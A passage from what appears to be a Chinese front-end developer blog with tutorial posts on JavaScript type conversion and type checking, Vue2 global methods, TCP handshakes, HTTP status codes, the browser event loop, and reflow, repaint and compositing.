可以看到Array自身的toString本身是1，2，3，但是删除掉后就调用的是Object.prototype上的toString了，结果就和直接用Object.prototype.toString.call(arr)的效果一样了。

在Vue2中注册全局方法

main.js中，Vue就像一个构造函数，这样就相当于是在Vue的实例对象上添加了这个md5方法

image-20210801220227751

这样在项目中就可以用this.$md5调用这个方法了。

image-20210801222049295

JavaScript数据类型转换

Mon, 21 Jun 2021 00:00:00 GMT

JavaScript数据类型转换有时候需要强制转换，有时候JavaScript会自己进行隐式转换，此时就得注意了。

1
'1' == 1 //true
2
'' == null //false
3
'' == 0 //true
4
[] == 0 //true
5
[] == '' //true
6
[] == ![] //true
7
null == undefined //true
8
Number(null) //0
9
Number('') //0
10
parseInt('') //NaN
11
{}+10 //10
12

13
let obj = {
14
  [Symbol.toPrimitive](){
15
    return 200
16
  },
17
  valueOf() {
18
    return 300
19
  },
20
  toString(){
21
    return 'Hello'
22
  }
23
}
24
console.log(obj+200) //400

展开收起

强制类型转换#

强制类型转换方式包括Number()、parseInt()、parseFloat()、toString()、String()、Boolean(),这些方法都比较相似，就是通过自身的方法来进行数据类型的强制转换。

Number()强制转换#

布尔值，true转换为1，false转换为0
数字返回自身。
null返回0
undefined返回NaN
如果是字符串
- 如果字符串中只包含数字(或是0x/0X开头数字可以有正负)将其转换为十进制
- 如果字符串中包含有效的浮点格式，转化为浮点数
- 如果是空字符串，转换为0
- 如果不是以上的，返回NaN
如果是Symbol，抛出错误
如果是对象，并且部署了[Symbol.toPrimitive]，调用对象的valueOf()方法，然后根据前面的规则转换返回的值，如果转换的结果是NaN,那么调用对象的toString方法，再次按前面的顺序返回对应的值。

1
Number(true);        // 1
2
Number(false);       // 0
3
Number('0111');      //111
4
Number(null);        //0
5
Number('');          //0
6
Number('1a');        //NaN
7
Number(-0X11);       //-17
8
Number('0X11')       //17

Boolean()方法的强制转换规则#

undefined, null, false, ”, 0(+0,-0), NaN转换的是false，其他转换的都是true。

1
Boolean(0)          //false
2
Boolean(null)       //false
3
Boolean(undefined)  //false
4
Boolean(NaN)        //false
5
Boolean(1)          //true
6
Boolean(13)         //true
7
Boolean('a')       //true

parseInt()#

直接转换

1
parseInt("1234blue");   //returns   1234
2
parseInt("0xA");   //returns   10
3
parseInt("22.5");   //returns   22
4
parseInt("blue");   //returns   NaN

根据进制转换

1
parseInt("AF",   16);   //returns   175
2
parseInt("10",   2);   //returns   2
3
parseInt("10",   8);   //returns   8
4
parseInt("10",   10);   //returns   10

parseFloat()#

跟parseInt()基本一样，不过是转换浮点数，但是没有进制转换的功能

1
parseFloat("1234blue");   //returns   1234.0
2
parseFloat("0xA");   //returns   NaN
3
parseFloat("22.5");   //returns   22.5
4
parseFloat("22.34.5");   //returns   22.34
5
parseFloat("0908");   //returns   908
6
parseFloat("blue");   //returns   NaN

toString()#

对于原始类型，null转化成”null” , undefined转换成 “undefined”, true转换成“true”, false转化成“false”, 数字除了极大和极小的数字采用指数形式。

1
var a = 1.07*1000*1000*1000*1000*1000*1000*1000
2
a.toString()    //"1.07e21"
3
var b = 15
4
b.toString() //"15"

对普通对象来说，除非自行定义，否则toString()返回内部属性Class的值，如”[object Object]”

1
let a = {
2
 name:"a"
3
}
4
a.toString() //"[object Object]"

数组对象重写了toString方法，把每个位置的都转换成字符串然后用,拼接

1
var a = [1,2,3]
2
a.toString() //1,2,3

String()#

和toString()的转换基本上是一样的，只不过toString没办法直接转换原始类型，只能转换经过js包装的对象。

1
11.toString() //报错
2
String(11) //"11"

隐式类型转换#

通过逻辑运算符(&&，||，!)，运算符(+,-,*,/)，关系操作符(>,<,<=,>=)，相等运算符（==）或者if/while条件操作，如果遇到两个数据类型不同的情况，都会出现隐式转化。

`==`的隐式类型转换规则#

如果类型相同，无需进行转换
如果其中一个值是null或者undefined，那么另一个操作符必须也是null或者undefined，不然返回的就是false不是true
如果其中一个是Symbol类型，那么返回false
两个操作值如果一个为String类型一个为Number类型，那么会将String类型转换为Number类型
如果一个操作值是boolean，会被转换成number
如果一个操作值是object，另一个操作值是string/number/symbol，就会把object转换为原始类型再进行判断（调用object的valueOf/toString方法进行转换）

1
null == undefined       // true  规则2
2
null == 0               // false 规则2
3
'' == null              // false 规则2
4
'' == 0                 // true  规则4 字符串转隐式转换成Number之后再对比
5
'123' == 123            // true  规则4 字符串转隐式转换成Number之后再对比
6
0 == false              // true  e规则 布尔型隐式转换成Number之后再对比
7
1 == true               // true  e规则 布尔型隐式转换成Number之后再对比
8
var a = {
9
  value: 0,
10
  valueOf: function() {
11
    this.value++;
12
    return this.value;
13
  }
14
};
15
// 注意这里a又可以等于1、2、3
16
console.log(a == 1 && a == 2 && a ==3);  //true f规则 Object隐式转换
17
// 注：但是执行过3遍之后，再重新执行a==3或之前的数字就是false，因为value已经加上去了，这里需要注意一下

展开收起

JavaScript数据类型检测

Sat, 19 Jun 2021 00:00:00 GMT

JavaScript中数据类型分为原始类型（number、string、boolean、null、undefined、bigint和symbol）和对象(Array - 数组对象、RegExp - 正则对象、Date - 日期对象、Math - 数学函数、Function - 函数对象)。在JavaScript中，除了原始类型，其余都是对象，对象都是Object的实例。

对于数据类型需要了解两个概念：

原始类型存储在栈内存中，被引用和拷贝的时候会创建一个完全相等的变量。
对象类型存储在堆内存中，存储的是地址，可能会有多个变量都指向同一个地址的情况。

举个🌰：a声明了一个对象，这个对象存储到了堆里面，a其实只是一个地址，如果这时候把a的值赋给b，那b也可以访问到a声明的这个对象了，a和b相当于共享这个对象。

image-20210618220040652

代码
```
1
let a = {
2
  name:"a"
3
}
4
b=a
5
a.name //a
6
b.name //a
7
b.name = "b"
8
b.name //b
9
a.name //b
```
第二个🌰
```
1
let a = {
2
  age:18
3
}
4
function change(o){
5
  o.age=20
6
  o = {
7
    name:"新的"
8
  }
9
  return o
10
}
11
b = change(a)
12
console.log(a) //20
13
console.log(b) //新的
```
在function change中的o.age=20中的o实际上还是a对象的地址，因此a对象的age被改成了20，而function中o=...和return o则是新创建了一个对象，可以看到b中并没有age这个属性。若没有return语句，则函数默认返回的是undefined。

数据类型检查方法#

typeof#

1
typeof 1 // 'number'
2
typeof '1' // 'string'
3
typeof undefined // 'undefined'
4
typeof true // 'boolean'
5
typeof Symbol() // 'symbol'
6
typeof null // 'object'
7
typeof [] // 'object'
8
typeof {} // 'object'
9
typeof console // 'object'
10
typeof console.log // 'function'

typeof null为啥返回object，这是js一直以来的一个bug，虽然结果是object，但是null并不是对象类型，而是原始类型，如果要判断这个值是不是null，需要通过===null来来判断。

还有一个问题是，typeof对于除了function之外的对象类型没有区分能力。

instanceof#

<object> instanceof <constructor>

object：某个实例对象

constructor：某个构造函数

intanceof就是用来检查constructor.prototype是否存在在参数object的原型链上。如果constructor是object的构造函数，那么自然他们是相同的数据类型。

1
let constructor1 = function(){}
2
let o1 = new constructor1()
3
o1 instanceof constructor1 //true
4
let str1 = new String('构造出来的字符串')
5
str1 instanceof String //true
6
let str2 = '字符串'
7
str2 instanceof String  //false

由上可以看出instanceof在判断对象数据类型还行，但是判断基础数据类型就不行了，可以看到构造出来的字符串是正确的，但是直接声明的字符串却不行，因为String不在直接声明的字符串的原型链上。

那么instanceof是如何实现的呢

思路就是

用typeof 判断 A 数据类型是不是原始类型，如果是的话就返回false(因为原始类型没有原型对象。)；
当满足第一个条件后，用Object.getPrototypeOf(A)拿到A的原型对象。
因为原型对象可能还有自己的原型对象，所以需要一个循环一直向内寻找，直到找到与B也就是对比目标相同的原型对象，返回true，代表是两个数据是相同数据类型的。若没有相同的，循环到原型对象链的头也就是null了，return false。

1
function myInstanceOf(A,B){
2
  //如果不是对象类型而是原始类型就没法判断，因为原始类型没有
3
  if(typeof A !== 'Object'||A===null) return false;
4
  //获取A的原型对象
5
  let proto = Object.getPrototypeOf(A);
6
  while(true){
7
    //说明原型链到头了，代表A的原型链上没有与B的prototype(原型属性)相同，返回false
8
    if(proto === null) return false
9
    //当A的原型对象和B的数据类型相同时
10
    if(proto === B.prototype) return true
11
    //循环向上寻找原型链的原型对象 A的原型对象的原型对象...然后依次后面加的原型对象
12
    proto = Object.getPrototypeOf(proto)
13
  }
14
}

为什么这里不用__proto__而是Object.getPrototypeOf(参数)：原因是因为兼容性问题，由于__proto__是内部属性不是一个真正对外的API，只有浏览器必须部署此属性其他环境不一定要部署。从兼容等方面考虑许多人不建议使用此属性而推荐使用setPrototypeOf、getPrototypeOf、create来代替。此处是把A.__proto__替换成了Object.getPrototypeOf(A)

1
//测试
2
console.log(myInstanceof(new Number(123), Number));// true
3
console.log(myInstanceof(123, Number));//false

为什么原始类型没有原型对象，但是浏览器中测试却可以获取到呢？

1
let a = "a"
2
a.__proto__

image-20210619231811192

不仅有，而且还和new出来的__proto__是一摸一样。这就没法比了，是因为原来原始值类型（布尔值、数字、字符串）有其对应的包装器对象：Boolean（布尔对象）、Number（数字对象）、String（字符串对象），在这些原始值类型上尝试调用属性或方法（比如 constructor 等）时，JS会自动进行 Auto-Boxing（临时包装）的过程，首先将其转换为临时包装器对象，再访问其上的属性或方法，而不会影响原始值类型的属性。所以在函数myInstanceOf中，遇到非对象类型，也就是原始类型，直接就返回false了，不然原始类型被临时包装成了对象，判断成对象就更乱了。

小节#

从上面可以看出instanceof通过原型链来判断数据类型是否相同，缺点是无法判断原始数据类型，只能判断对象数据类型。typeof则是对于原始类型的判断没有问题，但是对于对象数据类型，只能判断出是不是function，除此之外的对象类型都认为是object类型。虽然混写能一定程度解决问题，但是还是推荐以下的typeof+Object.prototype.toString()的方法。

Object.prototype.toString()#

toString()是Object的原型方法，调用这个方法可以返回格式为[Object XXX]的字符串，其中XXX就是对象的类型，也就是说对于Object对象，直接调用toString就可以返回[object Object]，而对于其他的对象，则需要通过call来调用，才能返回正确的类型信息。

1
Object.prototype.toString({})       // "[object Object]"
2
Object.prototype.toString.call({})  // 同上结果，加上call也ok
3
Object.prototype.toString.call(1)    // "[object Number]"
4
Object.prototype.toString.call('1')  // "[object String]"
5
Object.prototype.toString.call(true)  // "[object Boolean]"
6
Object.prototype.toString.call(function(){})  // "[object Function]"
7
Object.prototype.toString.call(null)   //"[object Null]"
8
Object.prototype.toString.call(undefined) //"[object Undefined]"
9
Object.prototype.toString.call(/123/g)    //"[object RegExp]"
10
Object.prototype.toString.call(new Date()) //"[object Date]"
11
Object.prototype.toString.call([])       //"[object Array]"
12
Object.prototype.toString.call(document)  //"[object HTMLDocument]"
13
Object.prototype.toString.call(window)   //"[object Window]"

可以看出这个方法很不错。能准确的判断出对象数据类型是哪种，甚至可以区别document和window。

有一点需要注意，就是typeof和Object.prototype.toString.call(参数)最后的返回数据是不同的，typeof返回的都是小写字母，而Object.prototype.toString.call(参数)返回的是Xxx首字母大写的格式。最后我们只需要进行一些优化就行，因为并不需要前面的object，我们只关心后面的数据类型判断结果。

1
function getType(obj){
2
  let type  = typeof obj;
3
  if (type !== "object") {    // 先进行typeof判断，如果是基础数据类型，直接返回
4
    return type;
5
  }
6
  // 对于typeof返回结果是object的，再进行如下的判断，正则返回结果
7
  return Object.prototype.toString.call(obj).replace(/^\[object (\S+)\]$/, '$1');  // 注意正则中间有个空格
8
}

测试

1
getType("str") //"String"
2
getType(123) //"Number"
3
...

最后返回的就直接是对应的数据类型了，非常人性化。

以上就是数据类型检测的三种方法总结了。

TCP的三次握手和四次挥手

Mon, 14 Jun 2021 00:00:00 GMT

TCP概念和作用#

TCP 协议是“Transmission Control Protocol”的缩写，意思是“传输控制协议”，它位于 IP 协议之上，基于 IP 协议提供可靠的、字节流(有先后顺序)形式的通信，是 HTTP 协议得以实现的基础。TCP 是一个有状态的协议，需要先与对方建立连接然后才能发送数据，而且保证数据不丢失不重复。

连接：连接是一种传输数据的行为。传输之前，建立一个连接。具体来说，数据收发双方的内存中都建立一个用于维护数据传输状态的对象，比如双方 IP 和端口是多少？现在发送了多少数据了？状态健康吗？传输速度如何？等。所以，连接是网络行为状态的记录。

TCP协议的特点：

基于连接：数据传输之前需要建立连接
字节流：不限制数据大小，保证有序接受
可靠的传输服务：保证可达，丢包时通过重发机制实现可靠性
全双工：双向传输数据，双方主机可以平等发送信息。

TCP提供的是主机对主机的传输，这里的主机 (Host)可以是任何一个可收发数据的设备。

image-20210614143753752

TCP之上的协议就是应用到应用的协议，比如两人用微信互相进行聊天，那他们之间应用和应用之间用的就是微信自己的聊天协议。但是想要应用到应用的协议可以工作，首先你得能找到对方的主机，那就得用IP协议，提供地址到地址的通信；你找到这个主机给了数据包还不算完，因为主机接收到数据包不知道哪个应用需要用，所以你需要把这个数据包给到对应应用(微信,原神等等)的端口号中，这就是TCP协议要做的事情；当你把数据(二进制包)给到对应应用中的时候，应用通过协议(HTTP)来解析，最后得到有意义的数据。

TCP协议的基本操作#

一个Host主动对另一个Host发起连接，称为SYN(Synchronization)，请求同步
其中一个Host主动断开连接，称为FIN(Finish)，请求完成；
如果一个Host给另一个Host发送数据，称为Push(Push)，数据推送

在以上的三种情况，当接收方接受到数据后，都要给发送方一个ACK(Acknowledgement)响应。请求/响应式可靠性的前提。如果一个请求没有响应，那发送方就会认为接收方没收到而重发这个请求。

建立连接（三次握手）#

三次握手步骤#

image-20210614231621156

为了保证连接的可靠性，TCP协议中每一条发出的数据必须有响应，也就是ACK。

客户端给服务器发起连接，客户端给服务器发送了SYN包(SYN=i)，进入SYN_SEND状态等待确认。
服务器接收到SYN包，确认客户端的SYN，此时ACK=i+1。服务器自己也给客户端发一个SYN包(syn=j)，还有确认后的ACK(i+1)包，这时候服务端进入SYN_RECV状态。
客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ACK=j+1)，这个包发送完毕后，服务器进入ESTABLISHED状态，完成三次握手。

解析#

步骤1是第一次握手，第一次握手的时候，客户端给服务器发了一个包，等待服务器的确认。
步骤2是第二次握手，服务器收到了客户端发来的包，然后确定要发的ACK = 客户端发来的SYN+1(i+1)。然后服务器给客户端发了SYN+ACK包，SYN=j ，ACK=i+1。这个代表服务器向客户端方向大喊：“我收到你的信息了，你发能力没问题，你给我发的SYN包，我用ACK在SYN的值上+1给你回复了，我也给你发个SYN包为了确定你的收能力，你要能听到给我回复一个ACK也在我给你发的SYN基础上+1，咱就建立连接”。
步骤3是第三次握手。客户端收到了服务器的SYN包和ACK包，然后给服务器发送ACK=服务器发来的SYN的值+1，这步的意思代表客户端给服务器说：”OK，我知道你的收发能力都没问题了，给你ACK，是在你给我发的SYN基础上+1的，这代表我收能力也没问题，咱连接吧“

脑补的场景

A：”B，我喜欢你“

B：”我知道你喜欢我了，其实我也喜欢你“

A：”收到，我们在一起吧“

简单说，TCP三次握手连接就是为了确定互相确定客户端和服务器的收发能力没有问题。

断开连接过程（四次挥手）#

image-20210614232427230

客户端要求断开连接，就发送一个断开连接的请求，也就是FIN。
服务器接收到请求，给客户端发送一个ACK，作为对FIN的回复。
服务器经过一个等待，确定可以关闭连接后，再发一条FIN给客户端。
客户端收到服务器的FIN，客户端处理完自己的事情之后(比如给服务器的信息还没回复ACK)，在这些处理完之后，再给服务器发送一个ACK。

如果按照上面的理解，是否可以2和3步骤合并，把ACK和自己的FIN同时传给客户端呢(参考三次握手的SYN+ACK包)？答案是不行，因为服务端可能还有自己的资源需要释放，或是发送给客户端的消息还没有得到回应，因此和三次握手的主要差别就是ACK+SYN包拆成了先ACK后SYN，然后只是SYN在断开连接的阶段啊是FIN而已。

脑补的场景

A：”分手吧，B“

B：“我知道你想分手了，能不能让我想想”

----这会估计B在回顾自己这段感情对应服务器正在处理之前的消息

B：”好吧，分吧，A“

----这会A知道B要分了，也开始回顾了= = 对应客户端处理之前的消息

A：”B，既然你知道了也同意了，分吧“

TCP 为什么是 3 次握手，4 次挥手？#

因为TCP是一个双工协议，建立连接的时候，连接双方都需要向对方发送SYN(同步请求)和ACK(响应)，因为握手阶段双方之间还没啥任务，所以一方向另一方发起SYN的时候，另一方可以直接发ACK-SYN打包成一条消息回复，因此仅需要三次握手-也就是三次数据传输。

挥手阶段，双方可能都有未完成的任务，所以需要等到一方任务结束后才能接着回复。

HTTP状态码

Sat, 12 Jun 2021 00:00:00 GMT

前言#

首先先明确状态码在哪，是在响应报文的的响应头中的状态行中。

curl -I+网址可以获取到响应头

1
curl -I https://www.anblog.top

状态行就是画出的蓝色部分

image-20210612224526175

由三个部分组成

Version，通常是HTTP/1.1

Status Code<就是主角状态码>，也就是图中的200

Reason<一些对状态码的简短描述>，比如200就是OK，301就是Moved Permanently，404就是not found等…（目前大多数客户端都会忽略它）

RFC标准把状态码分为了5类，状态码的实际可用范围是100~599.

什么是RFC

大家公认的一种互联网的标准。

什么是状态码

以代码的形式表示服务器对请求的处理结果。

HTTP五类状态码的含义#

1xx : 提示信息，目前是协议处理的中间状态，还需要后续的操作
2xx : 成功，报文已经收到并被正确处理
3xx : 重定向，资源位置发火生变动，需要客户端重新发送请求
4xx : 客户端错误，请求报文有误，服务器无法处理
5xx : 服务器错误，服务器在处理请求的时候内部出现错误

1xx#

101 Switching Protocols: 客户端使用Upgrade头字段，要求在HTTP协议的基础上改成其他协议继续通信，比如WebSocket，如果服务器也同意变更协议，就会发送状态码101，后续的数据传输就不会使用HTTP了。

2xx#

200 OK : 代表一切正常，服务器和客户端期望一样返回了处理结果，通常在响应头后都会有body数据。

204 No Content: 含义与200相同，但是唯一区别是响应头后面没有body数据。

206 Partial Content: Http分块下载和断点续传的基础，也是服务器处理了请求，但是body中的数据不是资源的全部，是其中的一部分。(206状态码还有一个头字段Content-Range代表body的数据体范围用来和客户端确认，比如Content-Range:bytes 0-99/2000，代表获取的是2000个字节中的前一百个字节)

3xx#

301 Moved Permanently ：永久重定向，请求的资源已经不存在了，需要用新的URI进行再次访问。

302 Found : 临时重定向，代表请求的资源还在，但是暂时需要用另一个URI来访问。

304 Not Modified : 在请求页面的时候，如果缓存过期了，在HTTP请求头上的带一个If-None-Match的值，并且和上一次访问产生的响应头的etag的值进行对比判断，如果相同，就代表缓存内容没变，就返回的304。

301 302应用场景

当一个网站或者网页24—48小时内临时移动到一个新的位置，这时候就要进行302跳转，打个比方说，我有一套房子，但是最近走亲戚去亲戚家住了，过两天我还回来的。而使用301跳转的场景就是之前的网站因为某种原因需要移除掉，然后要到新的地址访问，是永久性的，就比如你的那套房子其实是租的，现在租期到了，你又在另一个地方找到了房子，之前租的房子不住了。

301我是用在了跳转HTTPS上，这样访问者就只能访问到你的https网页了。比如你输入http://www.annan.life，然后服务器就会让你重定向到https://www.annan.life。

4xx#

400 Bad Request ：通用的错误码，请求报文有错误，但是错误非常笼统，所以开发web的时候要避免这种笼统的状态码，而应该是有明确含义的状态码。

403 Forbidden : 服务器禁止你访问资源，有的会把原因写在返回的body中，更多的情况就是什么都没有，就一个403。

404 Not Found : 源在本服务器上未找到，所以没法给客户端，根据404你很难判断问题出在哪里。

405 Method Not Allowed ：不允许使用某些方法操作资源，例如不允许POST只能GET。

406 Not Acceptable：资源无法满足客户端请求的条件，例如请求中文但只有英文；

408 Request Timeout：请求超时，服务器等待了过长的时间；

409 Conflict：多个请求发生了冲突，可以理解为多线程并发时的竞态；

413 Request Entity Too Large：请求报文里的 body 太大；

414 Request-URI Too Long：请求行里的 URI 太大；

429 Too Many Requests：客户端发送了太多的请求，通常是由于服务器的限连策略；

431 Request Header Fields Too Large：请求头某个字段或总体太大；

5xx#

5xx类状态码表示客户端请求报文正确，但服务器在处理时内部发生了错误，无法返回应有的响应数据，是服务器端的“错误码”。

“500 Internal Server Error”与 400 类似，也是一个通用的错误码，服务器究竟发生了什么错误我们是不知道的。不过对于服务器来说这应该算是好事，通常不应该把服务器内部的详细信息，例如出错的函数调用栈告诉外界。虽然不利于调试，但能够防止黑客的窥探或者分析。

“501 Not Implemented”表示客户端请求的功能还不支持，以后可能会支持，但是具体什么时间不知道。

“502 Bad Gateway”通常是服务器作为网关或者代理时返回的错误码，表示服务器自身工作正常，访问后端服务器时发生了错误，但具体的错误原因也是不知道的。

“503 Service Unavailable”表示服务器当前很忙，暂时无法响应服务，我们上网时有时候遇到的“网络服务正忙，请稍后重试”的提示信息就是状态码 503。503 是一个“临时”的状态，很可能过几秒钟后服务器就不那么忙了，可以继续提供服务，所以 503 响应报文里通常还会有一个“Retry-After”字段，指示客户端可以在多久以后再次尝试发送请求。

总结#

在web开发中，能明确的状态码尽量明确给出。
收到错误码的时候最好是有一个弹窗或者是页面来表示，内容是返回的body中的json数据里的msg字段。

为什么要做重定向?

1）网站调整（如改变网页目录结构）；

2）网页被移到一个新地址；

3）网页扩展名改变(如应用需要把.php改成.Html或.shtml)。

这种情况下，如果不做重定向，则用户收藏夹或搜索引擎数据库中旧地址只能让访问客户得到一个404页面错误信息，访问流量白白丧失；再者某些注册了多个域名的网站，也需要通过重定向让访问这些域名的用户自动跳转到主站点等。

事件循环

Tue, 08 Jun 2021 00:00:00 GMT

V8是Chrome里的JavaScript运行环境 (runtime)

JavaScript是一个单线程,非阻塞,异步,解释性语言.

有调用栈(call stack),事件循环(event loop),回调队列(callback queue),一些其他的API.

JavaScript的运行环境示意图,堆(heap)记录了内存的分配(memory allocation),调用栈(stack)里是执行上下文(execution contexts)

image-20210318152528512

setTimeout,DOM,HTTP请求这些东西他们并不在V8源码中,这些是异步编程首先考虑要使用的东西

image-20210318153650494

webAPIs: DOM,AJAX,setTimeout…

image-20210318153755980

线程==调用栈==一次只做一件事#

案例1-进入函数，函数就入栈，return函数函数就出栈#

1
function multiply(a,b) {
2
  return a * b;
3
}
4
function square(n) {
5
  return multiply(n,n);
6
}
7
function printSquare(n) {
8
  var squared = square(n);
9
  console.log(squared);
10
}
11
printSquare(4);

当进入某个函数的时候,这个函数就会被放在栈中,当return离开这个函数的时候这时函数就会被弹出栈外

调用栈工作过程#

当你运行这个文件的时候,会有一个类似main的函数,它代表文件本身,先将它放入栈中,紧接着是printSquared(4),然后是square(n),multiply(n,n)

image-20210318163848350

出栈,先按顺序依次弹出,当进入printSquare(4)的时候将console.log(squared)压入栈中,然后再依次弹出,直到空栈结束.

image-20210318164335344

案例2 - 被依赖的函数后入栈，后入先出#

1
function foo() {
2
  throw new Error('Oops!');
3
}
4
function bar() {
5
  foo();
6
}
7
function baz() {
8
  bar();
9
}
10
baz();

输入控制台返回结果

image-20210318173933449

baz函数调用了bar函数,bar函数调用了foo函数.foo函数抛出了一个错误. 打印出了整个栈树包括匿名函数(也就是main()函数),被依赖的是后进入调用栈的,后入先出，baz依赖bar,bar依赖foo，所以进入调用栈的顺序是baz,bar,foo，出的时候就是foo,bar,baz.

案例3 - 疯狂的自调用导致内存泄漏#

如果有一个疯狂调用自身的函数

1
function foo(){
2
  return foo();
3
}
4
foo();

结果

image-20210319084459923

什么让程序变慢?-异步#

image-20210319084645843

谈谈阻塞,没有严格的定义说什么是阻塞,什么不是阻塞,主要就是程序运行的比较慢.比如说cosole.log不慢,遍历1到10亿很慢,请求网络很慢.总之,在栈内表现很慢的东西都叫阻塞. 例子 jQuery的AJAX请求问题伪代码

1
var foo = $.getSync("//foo.com");
2
var bar = $.getSync("//bar.com");
3
var qux = $.getSync("//qux.com");
4
console.log(foo)
5
console.log(bar)
6
console.log(baz)

如果没给AJAX请求加上回调函数,它们是会同步的. 请求一次,就是等待一次(网络请求),将所有的都跑一遍,程序才最终结束

image-20210322074612849

因为JavaScript是单线程的语言,如果这样做的话就容易导致一个问题,就是阻塞(原因是网络请求的等待时间比较长),用户没办法很快的看到渲染后的界面.

所以我们应该如何做呢?最简单的方式就是提供异步回调

setTimeout案例#

1
console.log('Hi');
2
setTimeout(function(){
3
  console.log('There')
4
},5000)
5
console.log('JSConfEU');

按照之前的理解，那就是依次去执行，为何There神奇的在5秒后出现在了栈里面呢？

这就是Concurrency&Event Loop并发性和事件循环，虽然javascript是单线程的，但是浏览器是多线程的，提供了很多api去供你调用，

就像setTimeout其实并不存在于V8引擎(也就是运行环境)中,而是浏览器提供的API中的

1
console.log("我是一个同步任务")
2
setTimeout(function(){console.log("等到api运行结束，我就从task queue中被推到栈中执行。")},5000)

首先调用栈执行了console.log("我是一个同步任务") 输出我是一个同步任务

然后调用栈只剩main()，setTimeout进入调用栈，setTimeout运行后被弹出,调用了浏览器的api(timer),当计时结束后,回调函数进入task queue(任务队列)

等到调用栈空的时候(也就是说同步任务执行完毕),task queue的任务就会被push到调用栈中,调用栈运行回调函数.

所有的web API的工作方式是相同的,如果我们有一个AJAX请求,用一个回调的URL,工作原理相同

这里你可能想问, 那么setTimeout(function,0)是什么情况呢

webapi的setTimeout刚计时就直接被放到task queue中了，这样只要调用栈一空，就可以直接执行。

setTimeout并不是说到了你设定的时间就会执行，前提条件是你的调用栈中的任务已经空了。

比如说你有几个等待一秒就执行的函数，那么最后一个函数执行的时候已经超过1秒了，这里的一秒是你最快一秒，同步代码执行的时间是不算在其中的，还有task queue排队的时间。也就是说后面的等待一秒执行的函数首先一样的进入webapi开始等一秒，然后进入task queue等待调用栈空并且轮到自己，然后才能运行代码。

结论就是你最终执行完成的时间 = 同步代码执行到这段函数的时间+webapi的倒计时一秒(你设定的那个时间)+task queue的排队时间(也就是前面队伍push到调用栈然后执行的时间和)+当前函数的执行时间。这个应该是大于一秒的。

异步请求的案例#

伪代码

1
console.log("Hi")
2
$.get('url',function(){
3
  console.log(data)
4
})
5
console.log("JSconf")

console.log("Hi") 被放到调用栈中，执行后被弹出

异步请求进入调用栈

在webApi中加载XHR异步请求在调用栈中弹出异步请求

这时候调用栈空了，接着执行console.log("JSconf")

执行后弹出，异步请求有可能一直都结束不了，也可能就结束了，结束后cb就会进入task queue，当console.log("JSconf")

当调用栈空了之后，就把cb推到调用栈中，然后执行里面的方法 console.log(data)

最后栈空，结束

DOM案例#

代码

1
$.on('button','click',function(){
2
  console.log('clicked')
3
})

执行代码之后，调用了Webapi ，然后每点击一次就会把函数到task queue中去排队，然后推入栈中；栈中每执行完空一次，task queue就把排队中的task再推一个进去，直到全部调用栈空，task queue也空了。

image-20210608222158438

总结#

通过以上可以发现，setTimeout ， DOM ，包括异步请求是一个新的小组，只要进了api小组里(开始调用webapi时)他们可以开始执行了，不需要像一个个挨个排队，谁先执行完谁就去task queue ，到了task queue就跟排队一样了，哪个先结束就先进task queue，同时也代表会先被执行。

Render Queue 和 Callback Queue

渲染比回调函数有更高的优先级,每16毫秒它就要

如果渲染被阻塞,你不能再屏幕上选择文本,你不能点击东西看到响应

文章主要参考Philip Roberts：What the heck is the event loop anyway? | Philip Roberts | JSConf EU - YouTube

https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/

宏任务是开会分配的工作内容，微任务是工作过程中被临时安排的内容

重绘、重排、合成

Mon, 07 Jun 2021 00:00:00 GMT

三个和渲染流水线相关的概念——“重排”“重绘”和“合成”。理解了这三个概念对于你后续 Web 的性能优化会有很大帮助。

更新了元素的几何属性（重排）

img

从上图可以看出，如果你通过 JavaScript 或者 CSS 修改元素的几何位置属性，例如改变元素的宽度、高度等，当我们改变一个元素的尺寸位置属性时，会重新进行样式计算(Computed Style),布局(Layout),绘制(Paint)以及后面的所有流程，这种行为我们称为重排无疑，重排需要更新完整的渲染流水线，所以资源开销也是最大的。
更新元素的绘制属性（重绘）

接下来，我们再来看看重绘，比如通过 JavaScript 更改某些元素的背景颜色，渲染流水线会怎样调整呢？

img

从图中可以看出，当我们改变某个元素的颜色属性时，不会重新触发布局，但还是会触发样式计算和绘制，这个就是重绘。相较于重排操作，重绘省去了布局和分层阶段，所以执行效率会比重排操作要高一些。
直接合成阶段

那如果你更改一个既不要布局也不要绘制的属性，会发生什么变化呢？渲染引擎将跳过布局和绘制，只执行后续的合成操作，我们把这个过程叫做合成。具体流程参考下图：

img

在上图中，我们使用了 CSS 的 transform 来实现动画效果，这可以避开重排和重绘阶段，直接在非主线程上执行合成动画操作。这样的效率是最高的，因为是在非主线程上合成，并没有占用主线程的资源，另外也避开了布局和绘制两个子阶段，所以相对于重绘和重排，合成能大大提升绘制效率。

总结：#
重排和重绘都会占用主线程。还有一个东西也在主线程上运行，就是 JS，如果他们都在主线程上，就会出现抢占执行时间的问题，如果你写了一个不断导致重排重绘的动画，浏览器则需要在每一帧都运行样式计算布局和绘制的操作。
当页面以每秒 60 帧的刷新率时才不会让用户感觉到页面卡顿，如果你再运行动画时还有大量的 JS 任务需要执行，因为布局，绘制和 JS 的执行都是在主线程上执行。当在一帧的事件内布局和绘制结束后，如果还有剩余时间，JS 就会拿到主线程的使用权，如果 JS 执行时间过长，就会导致在下一帧开始 JS 没有及时归还主线程，导致下一帧动画没有按时渲染，就会出现页面动画的卡顿。
优化手段是什么？
第一种是通过 requestAnimationFrame()这个方法会在每一帧被调用，通过 API 的回调，然后我们可以把 JS 的运行任务分成一些更小的任务块(分到每一帧)，在每一帧时间用完前暂停 JS 执行，归还主线程，这样的话在下一帧开始的时候，主线程就可以按时进行布局和绘制。React 最新的引擎 React Fiber 就是用到了这个 api 来做了很多优化。
第二种方法，我们可以知道栅格化的整个流程是不占用主线程的，只在合成器线程和栅格线程中运行，这意味着它不需要和 JS 抢夺主线程，不断的重绘和重排可能会导致掉帧，是因为 JS 执行阻塞了主线程，而 CSS 中有个动画属性叫 Trasform，通过该属性实现的动画不会经过布局和绘制，而是直接运行在合成器线程和栅格化线程，所以不会受到主线程中 JS 的影响，更重要的是通过 transform 实现的动画由于不需要经过布局绘制，样式计算等操作，所以节省了很多运算时间(方便实现负责的动画)，我们常常会使用哪些手续来实现动画效果呢？位置变化，宽高变化(旋转，3D 等)，这些都是可以使用 transform 来代替的。

浏览器从输入 URL 到页面展示发生了什么

Sat, 05 Jun 2021 00:00:00 GMT

导航阶段#

